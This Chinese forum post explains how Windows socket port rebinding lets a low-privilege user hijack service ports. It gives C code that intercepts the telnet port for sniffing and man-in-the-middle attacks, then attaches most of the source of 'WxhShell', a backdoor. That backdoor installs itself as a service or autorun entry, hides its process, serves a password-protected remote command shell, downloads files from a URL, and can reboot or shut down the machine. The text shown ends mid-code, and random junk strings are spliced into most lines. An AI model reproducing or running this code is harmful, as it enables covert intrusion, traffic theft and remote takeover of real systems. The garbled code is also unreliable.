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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: xlZh(pf  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Dh^l :q+c  
KF&8l/f  
  saddr.sin_family = AF_INET; Pac ^=|h<q  
h HHR]e5:  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ,%Z&*/*Oh  
"L5w]6C4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); r Hq1%)B  
$l)RMP}  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [ DpOI  
C+\z$/q  
  这意味着什么?意味着可以进行如下的攻击: %(s|  
=X(N+(1~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 eLT3b6'"?  
~V(>L=\V;  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8/2Wq~&  
UK OhsE  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 F$>#P7ph\a  
>c@! EPS  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  t[k ['<G  
:&5u)  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 BUZ74  
[e,xC!2  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \u.5 _ g  
>? o5AdZ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;PVE= z+y  
yVzV]&k  
  #include &H+ wzx<  
  #include o?O ZsA  
  #include u9:sj  
  #include    zk }SEt-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   5[\g87 \  
  int main() !rgXB(  
  { zx)}XOYf  
  WORD wVersionRequested; <O) if^  
  DWORD ret; bZSt<cH3  
  WSADATA wsaData; h_X'O3r  
  BOOL val; ral=`/p  
  SOCKADDR_IN saddr; qKXg'1#E)  
  SOCKADDR_IN scaddr; 1grcCL q  
  int err; Y".?j5f?  
  SOCKET s; Mb_"M7  
  SOCKET sc; q: F6MW  
  int caddsize; Bph(\= W  
  HANDLE mt; rG-x 3>b  
  DWORD tid;   bPV}T`  
  wVersionRequested = MAKEWORD( 2, 2 ); e8SAjl"}  
  err = WSAStartup( wVersionRequested, &wsaData ); Q$Qr)mcC  
  if ( err != 0 ) { :V"e+I  
  printf("error!WSAStartup failed!\n"); xz:  
  return -1; xNY&*jI  
  } |1kA6/  
  saddr.sin_family = AF_INET; hRKJKQ@7  
   -= c&K&  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 S]E|a@kD3  
DM6(8df(  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); u<"-S63+  
  saddr.sin_port = htons(23); vzAY+EEx  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1OY 5tq  
  { z xgDaT  
  printf("error!socket failed!\n"); &B8x0 yi  
  return -1; EP4?+"Z  
  } g:^Hex?Yfd  
  val = TRUE; &iuMB0rbu  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Yk{4 3yw  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) mr>E'd.'  
  { rf/]VAK  
  printf("error!setsockopt failed!\n"); 'D+njxCk.A  
  return -1; $XyDw|z[  
  } O?#<kmd/)  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; JWM4S4yZHR  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 /L`qOr2E  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 j`u2\ ;  
4d`f?8vS  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ktY  
  { DBfq9%J _  
  ret=GetLastError(); &4t=Y`]SL  
  printf("error!bind failed!\n"); }P!:0w3  
  return -1; ?S)Pv53>}  
  } 4fL>Ou[YuX  
  listen(s,2); \J~@r1  
  while(1) 7CU<R9Kl  
  { 6C_H0a/h&  
  caddsize = sizeof(scaddr); j%S} T)pX  
  //接受连接请求 mg3YKHNG  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @ uL4'@Ej  
  if(sc!=INVALID_SOCKET) 9$sx+=(  
  { [2!?pVI  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *[3tGiUJ  
  if(mt==NULL) G`v(4`tA  
  { uMFV^&ZF  
  printf("Thread Creat Failed!\n"); BC%V<6JBu(  
  break; 2Zq_zvKUt  
  } ;k1VY Ie}  
  } #%CB`l  
  CloseHandle(mt); <7%#RJwe  
  } Zh:@A Fz:R  
  closesocket(s); W1}d6Sbg  
  WSACleanup(); =b3<}]  
  return 0; -!j5j:RR  
  }   ,PWMl [X  
  DWORD WINAPI ClientThread(LPVOID lpParam) 0VgsV;  
  {  *% ]&5  
  SOCKET ss = (SOCKET)lpParam; w`Cs,  
  SOCKET sc; {bNKyT  
  unsigned char buf[4096]; =, U~  
  SOCKADDR_IN saddr; Cj)*JZV G  
  long num; -C* UB  
  DWORD val; .A6Jj4`-  
  DWORD ret; ?Ql<s8  
  //如果是隐藏端口应用的话,可以在此处加一些判断 |dqAT.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   K}dvXO@=|c  
  saddr.sin_family = AF_INET; D<4cpH  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); .L3D]  
  saddr.sin_port = htons(23); v00w GOpW  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) J.,7d ,  
  { U)S!@ 2(4  
  printf("error!socket failed!\n"); > 8!9  
  return -1; a [BIY&/Q  
  } QlnI&o  
  val = 100; $=!_ !tr  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) OLJ|gunA#  
  { H1ox>sC  
  ret = GetLastError(); KFHcHz  
  return -1; l !R >I7  
  } 78zwu<ET  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =.q8*7UY  
  { Hc-68]T  
  ret = GetLastError(); RZ9chTX/  
  return -1; uWrvkLGN  
  } Qvhy9Cr;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) nxx&aq(._  
  { N9AM% H$7  
  printf("error!socket connect failed!\n"); y}> bJ:  
  closesocket(sc); !X{>?.@~  
  closesocket(ss); MM/D5g  
  return -1; *46hw(L  
  } UNescZ  
  while(1) 8|S}!P"  
  { ARJ}h  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >~* w  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 BWG#W C  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 AI*1kxR  
  num = recv(ss,buf,4096,0); ,a@jg&Mb]  
  if(num>0) -* piC(  
  send(sc,buf,num,0); .^FdO$"  
  else if(num==0) oAq<ag\qV  
  break; } |? W  
  num = recv(sc,buf,4096,0); a.G;s2>  
  if(num>0) OYk/K70l3  
  send(ss,buf,num,0); 05[k@f$n  
  else if(num==0) ,=t}|!jx  
  break; %1PNP<3r0  
  } {$qLMx';  
  closesocket(ss); +m1y#|08  
  closesocket(sc); v^Pjvv=  
  return 0 ; 47^R  
  } UZ 6:vmcT  
Ab)X/g-I @  
Hyz:i)2  
========================================================== 5(&'/U^  
U=\!`_f':  
下边附上一个代码,,WXhSHELL kmF@u@5M  
(GDW9:  
========================================================== H6%%n X  
CUZ ;<Pn  
#include "stdafx.h" \6c8Lqa  
}*M>gvPo  
#include <stdio.h> Yuqt=\? #  
#include <string.h> fg0zD:@rA  
#include <windows.h> Qj',&b  
#include <winsock2.h> .l ufE  
#include <winsvc.h> e"ur+7  
#include <urlmon.h> 5"I8ric  
/.%AE|0+X  
#pragma comment (lib, "Ws2_32.lib") L{AfrgN  
#pragma comment (lib, "urlmon.lib") s&~i S[  
-_"6jU  
#define MAX_USER   100 // 最大客户端连接数 ^|ln q.j  
#define BUF_SOCK   200 // sock buffer 72{Ce7J4  
#define KEY_BUFF   255 // 输入 buffer V /,F6  
N3QDPQ  
#define REBOOT     0   // 重启 8UN7(J  
#define SHUTDOWN   1   // 关机 q, XRb  
`oGL==  
#define DEF_PORT   5000 // 监听端口 M*lCoJ  
zTvGku[3  
#define REG_LEN     16   // 注册表键长度 7c aV-8:  
#define SVC_LEN     80   // NT服务名长度 %XAF"J  
 Oa/#2C~  
// 从dll定义API sAfNu~d  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  hNF.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); kB $?A8Olu  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &3%V%_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;7w4BJcq']  
eg Zb)pP  
// wxhshell配置信息 4vbtB2  
struct WSCFG { LP- _i}Kq  
  int ws_port;         // 监听端口 /D&7 \3}  
  char ws_passstr[REG_LEN]; // 口令 /r@~"R x'  
  int ws_autoins;       // 安装标记, 1=yes 0=no h;?H4j  
  char ws_regname[REG_LEN]; // 注册表键名 4<Q^/-W  
  char ws_svcname[REG_LEN]; // 服务名 Rx%SeM2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;<)<4N"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 v[I,N$ :  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $`Hb -  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Fl0 :Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T+U,?2nF:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 19.oW49Sw  
;ro%Wjg`}  
}; ?kKr/f4N  
U>=& 2Z2?  
// default Wxhshell configuration Z_}[hz$  
struct WSCFG wscfg={DEF_PORT, >%{H>?Hn  
    "xuhuanlingzhe", (nLT 8{>0  
    1, `M.\D  
    "Wxhshell", ~Ddlr9Ej  
    "Wxhshell", Y+0HC2(o  
            "WxhShell Service", <9jN4hV  
    "Wrsky Windows CmdShell Service", 1xzOD@=dI  
    "Please Input Your Password: ", n/jZi54gO  
  1, 2E*h,Mo  
  "http://www.wrsky.com/wxhshell.exe", o+I'nFtnI  
  "Wxhshell.exe" sxFkpf_h  
    }; `37$YdX  
CFyu9Al  
// 消息定义模块 akB+4?+s)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; yTwtGo&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $Y9Wzv3Ra  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A-om?$7  
char *msg_ws_ext="\n\rExit."; +Ssu^ >D  
char *msg_ws_end="\n\rQuit."; n+9rx]W,  
char *msg_ws_boot="\n\rReboot..."; -K*&I!  
char *msg_ws_poff="\n\rShutdown..."; 6 r}R%{  
char *msg_ws_down="\n\rSave to "; l6#ms!e  
)CM3v L {  
char *msg_ws_err="\n\rErr!"; QkU6eE<M*  
char *msg_ws_ok="\n\rOK!"; bIP%xl Vp  
$:D-dUr1  
char ExeFile[MAX_PATH]; QdtGFY4f,  
int nUser = 0; GB\1'  
HANDLE handles[MAX_USER]; g:]X '%Ub  
int OsIsNt; N^;rLrm*  
" }oH3L  
SERVICE_STATUS       serviceStatus; (f `zd.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {]V+C=`  
,3~[cE<4  
// 函数声明 ?|,-Bft3  
int Install(void); gOL-b9W  
int Uninstall(void); Lx#CFrLQ*  
int DownloadFile(char *sURL, SOCKET wsh); .R5(k'g?  
int Boot(int flag); 6h%_\I.Z[[  
void HideProc(void); +o[- ED  
int GetOsVer(void); Bq4^nDK  
int Wxhshell(SOCKET wsl); ,ctm;T1H+  
void TalkWithClient(void *cs); |E5\_Z  
int CmdShell(SOCKET sock); !aQQq[  
int StartFromService(void); ,wPvv(b]a  
int StartWxhshell(LPSTR lpCmdLine); xR`M#d5"  
yHIZpU|(j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |h(05Kbk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?&rt)/DV,  
M'-Z"  
// 数据结构和表定义 AaX][2y8  
SERVICE_TABLE_ENTRY DispatchTable[] = .5K}R<  
{ ;r.0=Uo9]  
{wscfg.ws_svcname, NTServiceMain}, Y `ySNC  
{NULL, NULL} E@%9u#  
}; Tw+V$:$$  
tX@G`Mr(  
// 自我安装 pf[m"t6G~  
int Install(void) S&Szc0-|k  
{ Bt[Wh@  
  char svExeFile[MAX_PATH]; !Un &OAy.!  
  HKEY key; _Z{EO|L  
  strcpy(svExeFile,ExeFile); P'Diie  
~H~iKl}|7  
// 如果是win9x系统,修改注册表设为自启动 [,86||^  
if(!OsIsNt) { dDxb}d x8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i4s_:%+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H2 Gj(Nc-  
  RegCloseKey(key); |Ta-D++]'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2?)8s"Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )Lb?ZXT3  
  RegCloseKey(key); 2vh@KnNU  
  return 0; "f|xIK`c  
    } %]1.)j  
  } vtu!* 7m  
} Y6w7sr_R  
else { ])tUXU>  
}{y(&Oy3Y  
// 如果是NT以上系统,安装为系统服务 7*I:cga  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2.PZtl  
if (schSCManager!=0) OLs<]0H  
{ K);)$8K  
  SC_HANDLE schService = CreateService 3GVS-?  
  ( A\:u5(  
  schSCManager, |zCT~#  
  wscfg.ws_svcname, 4157!w'\y  
  wscfg.ws_svcdisp, /(jG9RM  
  SERVICE_ALL_ACCESS, 6i`Y]\X~#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , > Sc/E}3  
  SERVICE_AUTO_START, -XNawpl`  
  SERVICE_ERROR_NORMAL, UEeq@ot/4  
  svExeFile, W:hg*0z-*  
  NULL, XT` 2Z=  
  NULL, M,we9];N  
  NULL, +L U.QI'  
  NULL, -Wm'@4bH  
  NULL ]TX"BH"2  
  ); 3)0z(30  
  if (schService!=0) gUWW}*\ U  
  { ~`c(7  
  CloseServiceHandle(schService); T:=ST3#m  
  CloseServiceHandle(schSCManager); =;A >1g$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G5,g$yNs  
  strcat(svExeFile,wscfg.ws_svcname); ?ytY8`PC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a>8&B  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6QM$aLLP?  
  RegCloseKey(key); K'\Jnn  
  return 0; R>T9 H0  
    } CAa&,ZR  
  } Bk2j|7  
  CloseServiceHandle(schSCManager); cJLAP%.L  
} aExt TE  
} d\-v+'d*+  
G(;R+%pu  
return 1; I#UL nSJ3  
} B]#^&89wG)  
F_d>@-<  
// 自我卸载 U uEm{  
int Uninstall(void) Dt:NBN  
{ Iq@&?,W  
  HKEY key; KD^n7+w%  
@fh:lsw  
if(!OsIsNt) { 7Q0vwKC8>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w`I+ 4&/h  
  RegDeleteValue(key,wscfg.ws_regname); A{%LL r:  
  RegCloseKey(key); a&Z;$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Bg.  
  RegDeleteValue(key,wscfg.ws_regname); Oj8xc!d'  
  RegCloseKey(key); Dp-j(F  
  return 0; x T1MW  
  } X 4CiVV  
} j.kv!;Rj=  
} ^y.|KA3[  
else { !S#K6:  
L};P*{q2Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); k@P?,r  
if (schSCManager!=0) L Z}m;  
{ p\22_m_wd  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;pt.)5  
  if (schService!=0) hV}C.- 6h  
  { zK>}x=  
  if(DeleteService(schService)!=0) {  {HbSty  
  CloseServiceHandle(schService); ^;'FC vd  
  CloseServiceHandle(schSCManager); Xmw%f[Xl  
  return 0; UK5u"@T  
  } aNUM F  
  CloseServiceHandle(schService); p}p}!M|  
  } Vl/fkd,Z  
  CloseServiceHandle(schSCManager); 3FG'A[x3O  
} hdDL92JVg  
} )(+q~KA}  
_sAcvKH  
return 1; p]rV\,Yss  
} {sW>J0  
sB0m^Y'  
// 从指定url下载文件 JH._/I  
int DownloadFile(char *sURL, SOCKET wsh) 3}5Ya\x  
{ }CM#jN?(  
  HRESULT hr; BVG.ZZR})  
char seps[]= "/"; 2(k m]H^  
char *token; I#/"6%e  
char *file; q{l %k  
char myURL[MAX_PATH]; 2 $Umqt  
char myFILE[MAX_PATH]; PIHKSAnq  
3,0b<vfSv  
strcpy(myURL,sURL); MDCwgNPiQW  
  token=strtok(myURL,seps); >Z>s R0s7  
  while(token!=NULL) xbz O' C  
  { wufQyT`  
    file=token; S;j"@'gz9  
  token=strtok(NULL,seps); 49=L9:  
  } Nz>xilU'  
vLpIVNA]]Y  
GetCurrentDirectory(MAX_PATH,myFILE); |]eWO#vs  
strcat(myFILE, "\\"); >{[  
strcat(myFILE, file); y*!8[wASHq  
  send(wsh,myFILE,strlen(myFILE),0); l p|`n  
send(wsh,"...",3,0); qNWSDZQ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5a|{ytP   
  if(hr==S_OK) S5\KI+;PW  
return 0; f h:wmc'  
else nh? JiH {  
return 1; X*M2 O%g`L  
{Ga=; 0  
} nd"$gi  
63QF1*gPH  
// 系统电源模块 |3BxNFe`%  
int Boot(int flag) xAr&sGMA  
{ KG GJ\r6  
  HANDLE hToken; $!^C|,CS  
  TOKEN_PRIVILEGES tkp; +5Ju `Z  
U$WGe >,  
  if(OsIsNt) {  S8O,{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &aPR"X  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]IH1_?HgP7  
    tkp.PrivilegeCount = 1; 8x-(7[#e<g  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q+ `QiPj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); : . PRM+  
if(flag==REBOOT) { [WI'oy  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) EUW>8kw0  
  return 0; ~-UO^$M-  
} h:i FLSf  
else { &t6:1T  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) h-\Ov{~  
  return 0; vlFq-W!  
} X|C=Q   
  } +v/-qyA  
  else { ^O!;KIe{g  
if(flag==REBOOT) { <{i1/"k?X  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Js^(mRv=  
  return 0; Zr(eH2}0D  
} eQ*zi9na  
else { rdsZ[ii  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) JAy-N bb\  
  return 0; o .V JnrJ  
} n. vrq-  
} jp|*kBDq\  
4I#@xm8)  
return 1; qMw_`dC  
} In8{7&iVO  
9CAu0N5<  
// win9x进程隐藏模块 7rG+)kHG  
void HideProc(void) Jp= )L  
{ 7>h(M+ /  
Ii<k<Bt,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~V0 GRPnI  
  if ( hKernel != NULL ) \jb62Jp  
  { YF>1 5{H  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #kE8EhQZ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Gd$!xN %O  
    FreeLibrary(hKernel); /x<uv_"  
  } WJk3*$=  
WJ,?5#  
return; m'M5O@?  
} VQ8Fs/Zt!  
xVRxKM5 {  
// 获取操作系统版本 8#[2]1X^8  
int GetOsVer(void) v]rbm}uU9  
{ 6}~k4;'}A  
  OSVERSIONINFO winfo; y9k'jEZ"oh  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); SVObJsB^  
  GetVersionEx(&winfo); !s:_>P`MQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ibx\k  
  return 1; uN1VkmtDO  
  else y}?PyPz  
  return 0; a^_W}gzzd  
} (?ULp{VPFl  
Xka+1c  
// 客户端句柄模块 pE%*r@p4&4  
int Wxhshell(SOCKET wsl) %:j`%F;R  
{ ""Oir!4  
  SOCKET wsh; ,5j3(Lk  
  struct sockaddr_in client; e,d}4 jy  
  DWORD myID; @|s$ :;(=  
HU$]o N  
  while(nUser<MAX_USER) F'CJN$6Mw/  
{ ?H>^X)Ph  
  int nSize=sizeof(client); H[}lzL)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ouO9%)zv  
  if(wsh==INVALID_SOCKET) return 1; KK{_s=t%<  
lM#,i\8Q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o ZQ@Yu3  
if(handles[nUser]==0) )&Z`SaoP|J  
  closesocket(wsh); I8c:U2D  
else `\'V]9wS  
  nUser++; PHJHW#sv  
  } *!E~4z=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %m [l/,2x  
YV} "#  
  return 0; 8(\J~I[^  
} FA := )  
947;6a%$  
// 关闭 socket vif)g6,  
void CloseIt(SOCKET wsh) K;w2qc.+  
{ T8%!l40v  
closesocket(wsh); EhW"s%Q  
nUser--; q8n@fi6  
ExitThread(0); y#8 W1%{x  
} 4O.R=c2}7>  
;$e)r3r`LV  
// 客户端请求句柄 mSvSdKKKlI  
void TalkWithClient(void *cs) &#KN"uPW  
{ \)6bLB!  
wLb:FB2  
  SOCKET wsh=(SOCKET)cs; 4jGN:*kZ  
  char pwd[SVC_LEN]; t0r0{:  
  char cmd[KEY_BUFF]; +@yU `  
char chr[1]; g-B{K "z  
int i,j; g^x=y  
^2{6W6=  
  while (nUser < MAX_USER) { (h@!_qi9:  
/y|ZAN  
if(wscfg.ws_passstr) { 7U?#Xi5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .p> ".q I  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -~4r6ZcA  
  //ZeroMemory(pwd,KEY_BUFF); {qU;;`P]|  
      i=0; X6_ RlV]Sk  
  while(i<SVC_LEN) { uA;#*eiA/  
'[HQ}Wvn  
  // 设置超时 >`/s+V  
  fd_set FdRead; cvE)  
  struct timeval TimeOut; QgQclML1|  
  FD_ZERO(&FdRead); u;!h   
  FD_SET(wsh,&FdRead); bsr]Z&9rrk  
  TimeOut.tv_sec=8; KUK.;gG*Z  
  TimeOut.tv_usec=0; 4_sJ0=z-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R*0mCz^+h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,zr,>^ v  
.tppCy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _}ii1fLv  
  pwd=chr[0]; H9i7y,[*  
  if(chr[0]==0xd || chr[0]==0xa) { 5j$&Zgx51  
  pwd=0; r!O[|h  
  break; !M`.(sO]  
  } kPiY|EH  
  i++; mEu2@3^E }  
    } N ~fE&@-  
ULBEe@ s  
  // 如果是非法用户,关闭 socket jT< I`K*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?1c7wEk  
}  ;(J&%  
x DN u'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j@^zK!mO  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c q[nqjC=  
-Eig#]Se3  
while(1) { =:xX~,qmv  
ARt{ 2|  
  ZeroMemory(cmd,KEY_BUFF); !8T04988j  
B|yz~wu S  
      // 自动支持客户端 telnet标准   hN~H8.g  
  j=0; '+ZJf&Ox  
  while(j<KEY_BUFF) { Ge=^q.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Rm}5AJ  
  cmd[j]=chr[0]; C.":2F;-e  
  if(chr[0]==0xa || chr[0]==0xd) { jDTG15_=  
  cmd[j]=0; 2+DK:T[  
  break; <|.]$QSi  
  } EJMd[hMhe  
  j++; r<Z.J/a  
    } CTKw2`5u  
'q_Z dw%  
  // 下载文件 0Zp5y@ V8  
  if(strstr(cmd,"http://")) { US3)+6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9I2&Vx=DSt  
  if(DownloadFile(cmd,wsh)) 0#Pa;(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ],[<^=|  
  else Y\WVkd(+G  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WagL8BpLx  
  } maY.Z<lN  
  else { 7l/lY-zO  
!lL `L \  
    switch(cmd[0]) { 3c7i8b$  
  Ba5*]VGG  
  // 帮助 O(2c_!d  
  case '?': { Eu~1t& 4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wB' !@>db  
    break; wIR"!C>LE  
  } reArXmU<u  
  // 安装 !iNwJ|0  
  case 'i': { ~av#r=x  
    if(Install()) jO5R~O`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I{>Z0+  
    else 00f'G2n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .5!`wwVi  
    break; ,7:-V<'Yv  
    } ]s^+/8d=  
  // 卸载 z^.dYb7<  
  case 'r': { }F/w34+;  
    if(Uninstall()) >B~? }@^Gk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 53ZbtEwhwr  
    else L@=$0p41;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #Y3-P  
    break; b=\chCRJJ  
    } WQ8 "Jj?k6  
  // 显示 wxhshell 所在路径 *QWOW g4w  
  case 'p': { /SS~IhUX  
    char svExeFile[MAX_PATH]; J?X{NARt  
    strcpy(svExeFile,"\n\r"); fe`_0lxj  
      strcat(svExeFile,ExeFile); _[rQt8zn  
        send(wsh,svExeFile,strlen(svExeFile),0); gp{C89gP  
    break; SiaW; ks  
    } /5"T46jD  
  // 重启 d0ht*b  
  case 'b': { (`E`xb@E,=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %,z;W-#gnY  
    if(Boot(REBOOT)) 4%8den,|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?E+f<jol  
    else { u kZK*Y9P  
    closesocket(wsh); CadIu x^  
    ExitThread(0); eD2eDxN2  
    } 1L'Q;?&2H,  
    break; 3RGmmX"?G  
    } `{h)-Y``  
  // 关机 dR< d7  
  case 'd': { |39,n~"o&  
